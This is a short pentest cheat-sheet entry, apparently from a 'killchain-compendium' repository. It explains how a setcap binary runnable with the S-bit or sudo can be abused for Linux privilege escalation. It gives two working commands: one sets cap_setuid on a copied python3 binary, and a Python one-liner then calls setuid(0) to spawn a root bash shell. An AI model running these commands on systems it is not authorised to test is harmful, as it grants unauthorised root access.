killchain-compendium/exploit/linux/setcap.md

14 lines
370 B
Markdown
Raw Normal View History

2022-07-06 22:49:06 +02:00
# setcap
* Set capabilities of a binary
* [Hacktrick's setuid page](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/euid-ruid-suid)
## Usage
* If there is an S-bit or sudo on setcap do the following. Copy python binary and
```sh
setcap cap_setuid+ep /absolute/path/to/copied/python3
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
```